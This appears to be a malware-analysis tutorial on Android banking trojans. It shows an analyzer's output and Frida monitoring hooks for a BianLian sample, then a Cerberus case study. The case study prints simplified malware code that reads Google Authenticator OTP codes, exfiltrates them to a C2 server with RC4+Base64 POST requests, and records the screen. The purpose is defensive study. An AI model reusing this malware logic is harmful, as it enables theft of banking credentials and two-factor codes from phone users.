│ •
domain
:image.cnamedomain.com │
│ •
service
:com.weico.international.p494ee8e0 │
│ •
service
:com.weico.international.pfd1df03d │
│ •
service
:com.weico.international.pce68c1b8 │
│ •
service
:com.weico.international.pe87b342f │
│ •
receiver
:com.weico.international.pd2c57a92 │
│ •
receiver
:com.weico.international.pf8380f14 │
│ •
email
:nms_reports
@nortonlifelock
.com │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
1
.
1
. Immediately enable Airplane Mode to prevent further SMS exfiltration
and
C2 communication. │
│
2
.
2
. Contact your bank immediately to freeze accounts
and
report potential credential compromise — request new card numbers
and
reset online banking credentials from a clean device. │
│
3
.
3
. From a computer, log into your Google account
and
use Find My Device to remotely lock the phone if needed. │
│
4
.
4
. Factory reset the infected device — BianLian's dynamic DEX loading means partial cleanup is insufficient. │
│
5
.
5
. After reset, change ALL passwords for accounts accessed from the device (email, banking, social media) using a different clean device first. │
│
6
.
6
. Alert contacts in your phone book that they may receive smishing SMS from your number
and
should
NOT
click any links. │
│
7
.
7
. Contact your mobile carrier to check for unauthorized premium SMS subscriptions
and
request blocking of premium-rate services. │
│
8
.
8
. File a report with local law enforcement
and
relevant cybercrime reporting center (e.g., IC3.gov, Action Fraud). │
│
9
.
9
. Enable Google Play Protect
and
avoid installing APKs from unknown sources going forward. │
│
10
.
10
. Monitor bank statements
and
credit reports for
90
days for unauthorized transactions. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│
1
// BianLian Banking Trojan (com.weico.international) - Frida Instrumentation Script │
│
2
// Target: SMS interception, overlay injection, dynamic DEX loading, C2 comms, crypto operations │
│
3
│
│
4
Java.
perform
(
function
() { │
│
5
console.
log
(
'[*] BianLian/Bian Frida hooks loaded for com.weico.international'
); │
│
6
│
│
7
// ========================================== │
│
8
// 1. SMS INTERCEPTION - Catch OTP theft │
│
9
// ========================================== │
│
10
│
│
11
// Hook SmsMessage.getMessageBody to see what SMS content the malware reads │
│
12
var SmsMessage = Java.
use
(
'android.telephony.SmsMessage'
); │
│
13
SmsMessage.getMessageBody.implementation =
function
() { │
│
14
var body = this.
getMessageBody
(); │
│
15
var sender = this.
getOriginatingAddress
(); │
│
16
console.
log
(
'[SMS-READ] From: '
+ sender +
' | Body: '
+ body); │
│
17
// Log stack trace to identify which malware component reads SMS │
│
18
console.
log
(
'[SMS-READ] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │
│
19
Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
20
return body; │
│
21
}; │
│
22
│
│
23
// Hook SmsManager.sendTextMessage to catch propagation SMS │
│
24
var SmsManager = Java.
use
(
'android.telephony.SmsManager'
); │
│
25
SmsManager.sendTextMessage.
overload
(
'java.lang.String'
,
'java.lang.String'
,
'java.lang.String'
,
'android.app.PendingIntent'
,
'android.app.PendingIntent'
).implementation =
function
(dest, sc, text, sentIntent, deliveryIntent) { │
│
26
console.
log
(
'[SMS-SEND] To: '
+ dest +
' | Text: '
+ text); │
│
27
console.
log
(
'[SMS-SEND] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │
│
28
Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
29
// Optionally block propagation: return; │
│
30
return this.
sendTextMessage
(dest, sc, text, sentIntent, deliveryIntent); │
│
31
}; │
│
32
│
│
33
// ========================================== │
│
34
// 2. DYNAMIC DEX LOADING - Catch dropper stage │
│
35
// ========================================== │
│
36
│
│
37
// Hook DexClassLoader constructor to catch loaded DEX payloads │
│
38
var DexClassLoader = Java.
use
(
'dalvik.system.DexClassLoader'
); │
│
39
DexClassLoader.$init.implementation =
function
(dexPath, optimizedDir, librarySearchPath, parent) { │
│
40
console.
log
(
'[DEX-LOAD] Path: '
+ dexPath); │
│
41
console.
log
(
'[DEX-LOAD] OptDir: '
+ optimizedDir); │
│
42
console.
log
(
'[DEX-LOAD] LibPath: '
+ librarySearchPath); │
│
43
console.
log
(
'[DEX-LOAD] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │
│
44
Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
45
return this.$
init
(dexPath, optimizedDir, librarySearchPath, parent); │
│
46
}; │
│
47
│
│
48
// Hook ClassLoader.loadClass to see what classes are dynamically loaded │
│
49
var ClassLoader = Java.
use
(
'java.lang.ClassLoader'
); │
│
50
ClassLoader.loadClass.
overload
(
'java.lang.String'
).implementation =
function
(className) { │
│
51
// Filter out noise - only log non-standard classes │
│
52
if (className.
indexOf
(
'com.weico'
) !== -
1
|| │
│
53
className.
indexOf
(
'inject'
) !== -
1
|| │
│
54
className.
indexOf
(
'bot'
) !== -
1
|| │
│
55
className.
indexOf
(
'sms'
) !== -
1
|| │
│
56
className.
indexOf
(
'overlay'
) !== -
1
) { │
│
57
console.
log
(
'[CLASS-LOAD] '
+ className); │
│
58
} │
│
59
return this.
loadClass
(className); │
│
60
}; │
│
61
│
│
62
// ========================================== │
│
63
// 3. NETWORK/C2 COMMUNICATION │
│
64
// ========================================== │
│
65
│
│
66
// Hook URL.openConnection to capture C2 endpoints │
│
67
var URL = Java.
use
(
'java.net.URL'
); │
│
68
URL.openConnection.
overload
().implementation =
function
() { │
│
69
var url = this.
toString
(); │
│
70
console.
log
(
'[NET-C2] URL: '
+ url); │
│
71
console.
log
(
'[NET-C2] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │
│
72
Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
73
return this.
openConnection
(); │
│
74
}; │
│
75
│
│
76
// Hook HttpURLConnection to capture request/response details │
│
77
var HttpURLConnection = Java.
use
(
'java.net.HttpURLConnection'
); │
│
78
HttpURLConnection.setRequestMethod.implementation =
function
(method) { │
│
79
console.
log
(
'[NET-HTTP] Method: '
+ method +
' URL: '
+ this.
getURL
().
toString
()); │
│
80
return this.
setRequestMethod
(method); │
│
81
}; │
│
82
│
│
83
// ========================================== │
│
84
// 4. CRYPTOGRAPHY - Decrypt C2 config │
│
85
// ========================================== │
│
86
│
│
87
// Hook SecretKeySpec to capture encryption keys used for C2 decryption │
│
88
var SecretKeySpec = Java.
use
(
'javax.crypto.spec.SecretKeySpec'
); │
│
89
SecretKeySpec.$init.
overload
(
'[B'
,
'java.lang.String'
).implementation =
function
(keyBytes, algorithm) { │
│
90
var keyHex =
''
; │
│
91
for (var i =
0
; i < keyBytes.length; i++) { │
│
92
var b = (keyBytes[i] &
0
xFF).
toString
(
16
); │
│
93
keyHex += (b.length ===
1
?
'0'
:
''
) + b; │
│
94
} │
│
95
console.
log
(
'[CRYPTO] SecretKeySpec Algorithm: '
+ algorithm +
' Key(hex): '
+ keyHex); │
│
96
console.
log
(
'[CRYPTO] Key(ascii): '
+ Java.
use
(
'java.lang.String'
).$
new
(keyBytes)); │
│
97
console.
log
(
'[CRYPTO] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │
│
98
Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
99
return this.$
init
(keyBytes, algorithm); │
│
100
}; │
│
101
│
│
102
// Hook Cipher.doFinal to capture plaintext before encryption / after decryption │
│
103
var Cipher = Java.
use
(
'javax.crypto.Cipher'
); │
│
104
Cipher.doFinal.
overload
(
'[B'
).implementation =
function
(input) { │
│
105
var result = this.
doFinal
(input); │
│
106
var mode = this.getOpmode ?
'unknown'
:
'unknown'
; │
│
107
try { │
│
108
console.
log
(
'[CRYPTO] Cipher.doFinal input('
+ input.length +
' bytes): '
+ │
│
109
Java.
use
(
'java.lang.String'
).$
new
(input)); │
│
110
console.
log
(
'[CRYPTO] Cipher.doFinal output('
+ result.length +
' bytes): '
+ │
│
111
Java.
use
(
'java.lang.String'
).$
new
(result)); │
│
112
}
catch
(e) { │
│
113
// Binary data, print hex │
│
114
var hexIn =
''
, hexOut =
''
; │
│
115
for (var i =
0
; i < Math.
min
(input.length,
64
); i++) { │
│
116
var b = (input[i] &
0
xFF).
toString
(
16
); │
│
117
hexIn += (b.length ===
1
?
'0'
:
''
) + b; │
│
118
} │
│
119
for (var j =
0
; j < Math.
min
(result.length,
64
); j++) { │
│
120
var c = (result[j] &
0
xFF).
toString
(
16
); │
│
121
hexOut += (c.length ===
1
?
'0'
:
''
) + c; │
│
122
} │
│
123
console.
log
(
'[CRYPTO] Cipher.doFinal input(hex): '
+ hexIn +
'...'
); │
│
124
console.
log
(
'[CRYPTO] Cipher.doFinal output(hex): '
+ hexOut +
'...'
); │
│
125
} │
│
126
return result; │
│
127
}; │
│
128
│
│
129
// ========================================== │
│
130
// 5. OVERLAY / WEBINJECT DETECTION │
│
131
// ========================================== │
│
132
│
│
133
// Hook WindowManager.addView to detect overlay injection │
│
134
var WindowManager = Java.
use
(
'android.view.WindowManager'
); │
│
135
// Hook LayoutParams to detect TYPE_APPLICATION_OVERLAY │
│
136
var LayoutParams = Java.
use
(
'android.view.WindowManager$LayoutParams'
); │
│
137
LayoutParams.$init.
overload
(
'int'
,
'int'
,
'int'
,
'int'
,
'int'
).implementation =
function
(w, h, type, flags, format) { │
│
138
console.
log
(
'[OVERLAY] WindowManager.LayoutParams type='
+ type +
' flags='
+ flags); │
│
139
if (type ===
2038
|| type ===
2003
|| type ===
2010
) { │
│
140
console.
log
(
'[OVERLAY] !!! OVERLAY WINDOW DETECTED - type='
+ type +
' !!!'
); │
│
141
console.
log
(
'[OVERLAY] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │
│
142
Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
143
} │
│
144
return this.$
init
(w, h, type, flags, format); │
│
145
}; │
│
146
│
│
147
// Hook WebView.loadUrl to catch webinject pages │
│
148
var WebView = Java.
use
(
'android.webkit.WebView'
); │
│
149
WebView.loadUrl.
overload
(
'java.lang.String'
).implementation =
function
(url) { │
│
150
console.
log
(
'[WEBINJECT] WebView.loadUrl: '
+ url); │
│
151
console.
log
(
'[WEBINJECT] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │
│
152
Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
153
return this.
loadUrl
(url); │
│
154
}; │
│
155
WebView.loadDataWithBaseURL.implementation =
function
(baseUrl, data, mimeType, encoding, historyUrl) { │
│
156
console.
log
(
'[WEBINJECT] WebView.loadDataWithBaseURL base: '
+ baseUrl); │
│
157
console.
log
(
'[WEBINJECT] Data (first 500 chars): '
+ data.
substring
(
0
, Math.
min
(data.
length
(),
500
))); │
│
158
return this.
loadDataWithBaseURL
(baseUrl, data, mimeType, encoding, historyUrl); │
│
159
}; │
│
160
│
│
161
// ========================================== │
│
162
// 6. REFLECTION MONITORING (138 calls detected) │
│
163
// ========================================== │
│
164
│
│
165
var Method = Java.
use
(
'java.lang.reflect.Method'
); │
│
166
Method.invoke.implementation =
function
(obj, args) { │
│
167
var methodName = this.
getName
(); │
│
168
var className = this.
getDeclaringClass
().
getName
(); │
│
169
// Filter to malware-relevant classes │
│
170
if (className.
indexOf
(
'com.weico'
) !== -
1
) { │
│
171
console.
log
(
'[REFLECT] '
+ className +
'.'
+ methodName +
'()'
); │
│
172
} │
│
173
return this.
invoke
(obj, args); │
│
174
}; │
│
175
│
│
176
// ========================================== │
│
177
// 7. NOTIFICATION LISTENER (OTP theft via push) │
│
178
// ========================================== │
│
179
│
│
180
var NotificationListenerService = Java.
use
(
'android.service.notification.NotificationListenerService'
); │
│
181
NotificationListenerService.onNotificationPosted.
overload
(
'android.service.notification.StatusBarNotification'
).implementation =
function
(sbn) { │
│
182
var pkg = sbn.
getPackageName
(); │
│
183
var notification = sbn.
getNotification
(); │
│
184
var extras = notification.extras; │
│
185
var title = extras.
getString
(
'android.title'
); │
│
186
var text = extras.
getCharSequence
(
'android.text'
); │
│
187
console.
log
(
'[NOTIF-STEAL] Package: '
+ pkg +
' Title: '
+ title +
' Text: '
+ text); │
│
188
return this.
onNotificationPosted
(sbn); │
│
189
}; │
│
190
│
│
191
// ========================================== │
│
192
// 8. CONTACT HARVESTING │
│
193
// ========================================== │
│
194
│
│
195
var ContentResolver = Java.
use
(
'android.content.ContentResolver'
); │
│
196
ContentResolver.query.
overload
(
'android.net.Uri'
,
'[Ljava.lang.String;'
,
'java.lang.String'
,
'[Ljava.lang.String;'
,
'java.lang.String'
).implementation =
function
(uri, proj, sel, selArgs, sort) { │
│
197
var uriStr = uri.
toString
(); │
│
198
if (uriStr.
indexOf
(
'contacts'
) !== -
1
|| uriStr.
indexOf
(
'sms'
) !== -
1
) { │
│
199
console.
log
(
'[DATA-HARVEST] ContentResolver.query URI: '
+ uriStr); │
│
200
console.
log
(
'[DATA-HARVEST] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
( │
│
201
Java.
use
(
'java.lang.Exception'
).$
new
())); │
│
202
} │
│
203
return this.
query
(uri, proj, sel, selArgs, sort); │
│
204
}; │
│
205
│
│
206
console.
log
(
'[*] All BianLian hooks active. Monitoring SMS, DEX loading, C2, crypto, overlays, notifications, and contacts.'
); │
│
207
}); │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Saving Reports...
✓ JSON
report
: reports/com_weico_international_20260330_110931.json
✓ Frida
script
: reports/com_weico_international_frida_hooks.js
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Analysis completed in
117.9s
JSON
Report
: reports/com_weico_international_20260330_110931.json
Frida
Script
: reports/com_weico_international_frida_hooks.js
Case Study 2: Cerberus — Banking Trojan as a Service
Background
Cerberus was an Android banking trojan that operated as Malware-as-a-Service (MaaS) from approximately June 2019. It was sold on Russian-speaking underground forums for $2,000–$12,000 per month depending on the feature tier. In August 2020, when its operators failed to sell it, they leaked the Cerberus v2 source code on a forum — making the full codebase available for analysis and enabling defenders to study its internals precisely.
Cerberus is technically significant because it combined:
-
Banking overlay attacks (credential theft from 30+ banking apps)
-
Two-factor authentication bypass (stealing Google Authenticator codes)
-
Full RAT capabilities: screen recording, call forwarding, remote file access
-
Keylogging via Accessibility Events
Static Analysis of Cerberus
Manifest analysis:
<!-- Cerberus manifest (from leaked source code analysis) -->
<!-- Extensive permission set - RAT + banking trojan capabilities -->
<
uses-permission
android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_SMS"
/>
<
uses-permission
android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission
android:name
=
"android.permission.CALL_PHONE"
/>
<
uses-permission
android:name
=
"android.permission.READ_CALL_LOG"
/>
<
uses-permission
android:name
=
"android.permission.PROCESS_OUTGOING_CALLS"
/>
<
uses-permission
android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission
android:name
=
"android.permission.RECORD_AUDIO"
/>
<
uses-permission
android:name
=
"android.permission.READ_EXTERNAL_STORAGE"
/>
<
uses-permission
android:name
=
"android.permission.WRITE_EXTERNAL_STORAGE"
/>
<
uses-permission
android:name
=
"android.permission.CAMERA"
/>
<
uses-permission
android:name
=
"android.permission.SYSTEM_ALERT_WINDOW"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<!--
NOTE:
BIND_DEVICE_ADMIN is NOT declared as <uses-permission>.
It is the android:permission attribute on the device admin receiver (see below),
restricting who can bind to it to the system only. -->
<!-- Device Administrator (makes uninstall harder) -->
<
receiver
android:name
=
".Obf.AdminReceiver"
android:permission
=
"android.permission.BIND_DEVICE_ADMIN"
>
<
meta-data
android:name
=
"android.app.device_admin"
android:resource
=
"@xml/device_admin"
/>
<
intent-filter
>
<
action
android:name
=
"android.app.action.DEVICE_ADMIN_ENABLED"
/>
</
intent-filter
>
</
receiver
>
<!-- Accessibility Service (core capability) -->
<
service
android:name
=
".Obf.AccessibilityService"
android:permission
=
"android.permission.BIND_ACCESSIBILITY_SERVICE"
>
<
intent-filter
>
<
action
android:name
=
"android.accessibilityservice.AccessibilityService"
/>
</
intent-filter
>
</
service
>
C2 communication structure (from leaked source):
Cerberus communicated with its C2 panel via HTTP POST, with requests encrypted using Base64 + RC4:
// Cerberus C2 client (simplified from source)
public
class
NetworkClient
{
private
static
final
String
C2_URL
=
"http://[ENCRYPTED]/gate.php"
;
private
static
final
String
RC4
_KEY =
"[HARDCODED_OR_CONFIG]"
;
public
String
sendRequest
(
String
botId,
String
command,
String
data
) {
JSON
Object
payload =
new
JSON
Object
();
payload.
put
(
"id"
, botId);
payload.
put
(
"cmd"
, command);
payload.
put
(
"data"
, data);
String
json = payload.
toString
();
byte[] encrypted =
rc4Encrypt
(json.
getBytes
(),
RC4
_KEY.
getBytes
());
String
encoded =
Base64
.
encodeToString
(encrypted,
Base64
.
DEFAULT
);
// POST to C2
return
httpPost
(
C2_URL
,
"p="
+
URLEncoder
.
encode
(encoded));
}
// Server response is similarly RC4+Base64 encoded
public
String
parseResponse
(
String
response
) {
byte[] decoded =
Base64
.
decode
(response,
Base64
.
DEFAULT
);
byte[] decrypted =
rc4Decrypt
(decoded,
RC4
_KEY.
getBytes
());
return
new
String
(decrypted);
}
}
Google Authenticator 2FA bypass:
This was Cerberus’s most technically impressive feature. Using Accessibility Events, it monitored the Google Authenticator app and read the TOTP codes as they appeared on screen:
// Cerberus Google Authenticator monitoring (from source)
@Override
public
void
onAccessibilityEvent
(
AccessibilityEvent event
) {
String
packageName =
String
.
valueOf
(event.
getPackageName
());
// Monitor Google Authenticator specifically
if
(
"com.google.android.apps.authenticator2"
.
equals
(packageName)) {
// Get all visible text on screen
AccessibilityNodeInfo
rootNode =
getRootInActiveWindow
();
if
(rootNode !=
null
) {
List
<
String
> codes =
extractOTPCodes
(rootNode);
if
(!codes.
isEmpty
()) {
// Send codes to C2 immediately
sendToC2
(
"2fa_codes"
,
String
.
join
(
","
, codes));
}
}
}
// Also monitor targeted banking apps for overlay injection
if
(
isTargetedApp
(packageName)) {
showOverlay
(packageName);
}
}
private
List
<
String
>
extractOTPCodes
(
AccessibilityNodeInfo node
) {
List
<
String
> codes =
new
ArrayList
<>();
// Walk UI tree looking for 6-digit numeric strings
for
(int i =
0
; i < node.
getChildCount
(); i++) {
AccessibilityNodeInfo
child = node.
getChild
(i);
if
(child !=
null
&& child.
getText
() !=
null
) {
String
text = child.
getText
().
toString
().
replaceAll
(
"\\s"
,
""
);
if
(text.
matches
(
"\\d{6}"
)) {
codes.
add
(text);
}
}
}
return
codes;
}
Screen recording capability:
Cerberus v2 added MediaProjection-based screen recording — a legitimate Android API being abused:
// Cerberus screen recording (from source)
public
class
ScreenRecorder
{
private
MediaProjection mediaProjection;
private
VirtualDisplay virtualDisplay;
private
ImageReader imageReader;
public
void
startRecording
(Intent mediaProjectionData)
{
MediaProjectionManager
projectionManager
=
(MediaProjectionManager) getSystemService(MEDIA_PROJECTION_SERVICE);
// MediaProjection requires user consent dialog - Cerberus
// auto-clicked it using Accessibility Service
mediaProjection = projectionManager.getMediaProjection(
Activity.RESULT_OK, mediaProjectionData);
imageReader = ImageReader.newInstance(
1080
,
1920
, PixelFormat.RGBA_8888,
2
);
virtualDisplay = mediaProjection.createVirtualDisplay(
"Cerberus"
,
1080
,
1920
,
320
,
// DPI
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
imageReader.getSurface(),
null
,
null
);
// Frames captured via imageReader.acquireLatestImage()
// Compressed and sent to C2 in background
}
}
Dynamic Analysis of Cerberus
Hooking the C2 communication:
// Decrypt Cerberus C2 traffic at runtime
Java
.
perform
(
function
(
) {
// Find the RC4 decryption function by monitoring Base64 decode + RC4
var
Base64
=
Java
.
use
(
"android.util.Base64"
);
var
decodeOrig =
Base64
.
decode
.
overload
(
"[B"
,
"int"
);
decodeOrig.
implementation
=
function
(
input, flags
) {
var
result = decodeOrig.
call
(
this
, input, flags);
console
.
log
(
"[Base64 decode] Length: "
+ result.
length
+
" bytes"
);
console
.
log
(
" Output: "
+
bytesToHex
(result));
return
result;
};
// Hook the C2 URL construction to reveal decrypted C2 address
var
URL
=
Java
.
use
(
"java.net.URL"
);
var
urlInitOrig =
URL
.
$init
.
overload
(
"java.lang.String"
);
urlInitOrig.
implementation
=
function
(
url
) {
console
.
log
(
"[URL Constructor] "
+ url);
return
urlInitOrig.
call
(
this
, url);
};
});
Detecting overlay attempts:
# Watch for SYSTEM_ALERT_WINDOW usage (overlay permission)
adb shell dumpsys window |
grep
-i
"overlay\|TYPE_APPLICATION_OVERLAY"
# Observe what's drawn on screen
adb shell dumpsys SurfaceFlinger |
grep
-A
5
"com.malware"
Cerberus IOCs
NETWORK INDICATORS:
C2 protocol:
HTTP
POST
to
/gate.php
Encoding:
RC4
+
Base64
Payload field:
"p="
parameter
Port:
80
or
443
HOST INDICATORS:
Device
Admin
registration
(makes
removal
difficult)
Accessibility Service:
com.malware.Obf.AccessibilityService
Monitors:
com.google.android.apps.authenticator2
(2FA
theft)
Targeted overlays:
30
+
banking
apps
across
Europe
and
USA
Screen
recording
via
MediaProjection
API
Call
forwarding
via
PROCESS_OUTGOING_CALLS
BEHAVIORAL INDICATORS:
Requests
Device
Admin
status
shortly
after
install
Opens
Google
Authenticator
and
reads
OTP
codes
Sends
HTTP
POST
to
C2
with
RC4+B64
encoded
body
Intercepts
incoming
SMS
(OTP
codes
from
banks)
Displays
activity
over
banking
apps
(overlay
attack)
Establishes
persistent
foreground
service
Full report with analyzer.py:

11:09:31 (base) andrey@andrey-lab android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/sep_cerberus.apk
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗
██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝
███████║██████╔╝█████╔╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗
██╔══██║██╔═══╝ ██╔═██╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║
██║ ██║██║ ██║ ██╗ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝
Android APK Analysis Tool | AI-Powered | v2.0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Phase 1: Static Analysis
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ File /home/andrey/git_project/android_malware_analysis/samples/sep_cerberus.apk │
│ Size 4300.9 KB (4,404,159 bytes) │
│ MD5 0f4733a3a188ca0ddf3f730b17b23e20 │
│ SHA256 301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ Package com.tfapasswords.app │
│ App Name SafeYourAccount │
│ Version 1.0 (1) │
│ SDK min=24 target=28 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase 2: Threat Indicator Scoring
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Risk Level: 🔴 HIGH (77/100) │
│ │
│ [██████████████████████████████░░░░░░░░░░] │
│ │
│ Permissions: 100/100 │
│ Behavior: 100/100 │
│ Network: 0/100 │
│ Obfuscation: 15/100 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Threat Indicators
╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮
│ Severity │ Category │ Indicator │ Evidence │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous Permission: │ android.permission.SYSTEM_ALERT_WINDOW │
│ │ │ SYSTEM_ALERT_WINDOW │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous Permission: │ android.permission.REQUEST_INSTALL_PACK… │
│ │ │ REQUEST_INSTALL_PACKAGES │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Accessibility Service │ com.tfapasswords.app.Activities.Accessi… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious API: Window Overlay │ Landroid/view/WindowManager;
-
>
addView
│
│ │ │ │ (in Lb/b/p/c │
│ │ │ │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Lc/h/a/i │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Accessibility │ Landroid/view/accessibility/Accessibili… │
│ │ │ Service │ Landroid/view/accessibility/Accessibili… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Privilege │ Root/Superuser Access Attempts │ superuser │
│ │ Escalation │ │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Overlay/Keylogger Strings │ overlay │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: CAMERA │ android.permission.CAMERA │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: WAKE_LOCK │ android.permission.WAKE_LOCK │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.RECEIVE_BOOT_COMPLET… │
│ │ │ RECEIVE_BOOT_COMPLETED │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Reflection │ Ljava/lang/reflect/Field;->setAccessible │
│ │ │ │ (in Landr │
│ │ │ │ Ljava/lang/Class;->forName (in │
│ │ │ │ Landroid/support/v4 │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Location Tracking │ Landroid/location/LocationManager;->get… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Camera Access │ Landroid/hardware/Camera$Parameters;->s… │
│ │ │ │ Landroid/hardware/Camera$Parameters;->g… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Obfuscation │ Code Obfuscation (
score
:
3
/
10
) │ High ratio of short class names │
│ │ │ │ (
203
/
500
) - likely │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ LOW │ API Behavior │ Suspicious
API
: Cryptography │ Ljavax/crypto/Cipher;->wrap (in Lb/t/v;) │
│ │ │ │ Ljavax/crypto/spec/SecretKeySpec;-><ini… │
│ │ │ │ (in Lb/t │
╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯
Permissions (
6
total)
Permission Risk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
android.permission.CAMERA MEDIUM
android.permission.RECEIVE_BOOT_COMPLETED MEDIUM
android.permission.REQUEST_INSTALL_PACKAGES HIGH
android.permission.SYSTEM_ALERT_WINDOW HIGH
android.permission.WAKE_LOCK MEDIUM
android.permission.INTERNET INFO
Network IOCs
Type Value
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Domain github.com
Domain schemas.android.com
URL
https
:
//github.com/mikepenz/FastAdapter/blob/develop/library-core/src/main/java/
URL
http
:
//schemas.android.com/apk/res-auto
URL
http
:
//schemas.android.com/apk/res/android
Semantic Component Analysis (
3
findings)
Severity Component Capability MITRE Name
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CRITICAL service Accessibility Service Abuse T1417 AccessibilityService
HIGH string Webinject/Overlay Terms T1417 Overlay
HIGH string Root/Superuser Access T1626 superuser
Rule-based family
inference
: Banking Trojan / RAT (
confidence
:
50%
)
Phase
2
c
: VirusTotal Lookup
